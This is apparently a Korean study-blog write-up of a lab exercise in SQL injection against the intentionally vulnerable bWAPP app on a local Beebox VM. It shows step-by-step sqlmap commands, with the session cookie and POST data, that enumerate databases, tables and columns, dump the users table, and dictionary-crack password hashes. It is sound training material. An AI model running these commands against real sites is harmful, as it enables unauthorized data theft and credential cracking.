Beebox - SQL Injection (POST/Select) 활용한 실습
파라미터 입력이 불가하며 단순한 Select로 Post 메서드를 이용해
값을 넘기는 경우에서 SQL Injection 요소를 찾아본다.
1. 개발자 도구를 이용해 파라미터 수정
Error 페이지 확인
2. Burp Suite을 이용하여 파라미터 수정
3. sqlmap 활용
┌──(root㉿kali)-[/home/kali]
└─# sqlmap -h
엄청나게 다양한 옵션 제공
1단계 : DB정보값 추출
-u [url 주소값]
--cookie="[인증 페이지에서는 쿠키값 필요]" - burp에서 찾은 것으로 붙여 넣기
--data "[parameter 값]" - burp에서 찾은 것으로 붙여 넣기
--dbs : 데이터베이스정보 확인
┌──(root㉿kali)-[/home/kali]
└─# sqlmap -u "http://192.168.182.130/bWAPP/sqli_13.php" --cookie="security_level=0; PHPSESSID=b95d2b78de72ef287980dc945eaf7b4b" --data "movie=1&action=go" --dbs
DBMS가 MySQL임을 찾아낸다. 계속 진행하면...
탐색 Level 등을 물어보고 취약한 Parameter를 찾아낸다. 계속 진행하면...
databases 이름을 모두 추출한다.
2단계 : 타겟 DB에 Table 추출
-D [타겟 DB name]
--tables : 테이블 추출
┌──(root㉿kali)-[/home/kali]
└─# sqlmap -u "http://192.168.182.130/bWAPP/sqli_13.php" --cookie="security_level=0; PHPSESSID=b95d2b78de72ef287980dc945eaf7b4b" --data "movie=1&action=go" -D bWAPP --tables
tables 추출
3단계 : 타겟 Table 안의 Coloums 추출
-T [타겟 Table name]
--columns : 컬럼 정보 추출
┌──(root㉿kali)-[/home/kali]
└─# sqlmap -u "http://192.168.182.130/bWAPP/sqli_13.php" --cookie="security_level=0; PHPSESSID=b95d2b78de72ef287980dc945eaf7b4b" --data "movie=1&action=go" -D bWAPP -T users --columns
4단계 : 내부 Data 추출
--dump 내부 데이터 추출
┌──(root㉿kali)-[/home/kali]
└─# sqlmap -u "http://192.168.182.130/bWAPP/sqli_13.php" --cookie="security_level=0; PHPSESSID=b95d2b78de72ef287980dc945eaf7b4b" --data "movie=1&action=go" -D bWAPP -T users --dump
users table에 저장된 모든 columns에서 Data를 추출하는데 password값은 암호화되어 있어
dictionary-based crack을 할 것인지 묻는다. yes로 해서 사전 word 파일 기반으로 crack 하면
정보를 모두 추출한 것을 확인할 수 있다.
그리고 해당 정보에 대한 로그 파일을 기록한다.
-v [레벨 수준] : 자세하게 공격한 모든 패턴을 다 표시한다. ex) -v 4
실전 웹 상에서는 얼마나 통하는지 모르겠으나 꽤나 인상적인 결과다.
'Security Project' 카테고리의 다른 글
42. 파일업로드 취약점 이해와 공격 목적 (0) | 2023.01.15 |
---|---|
41. Error based SQL Injection 실습 (0) | 2023.01.11 |
39. SQL Injection 이해 (0) | 2023.01.09 |
38. ReflectedXSS 취약점 실습 + BeEF 실습 (1) | 2023.01.05 |
37. StoredXSS 취약점 실습 (2) | 2023.01.04 |
댓글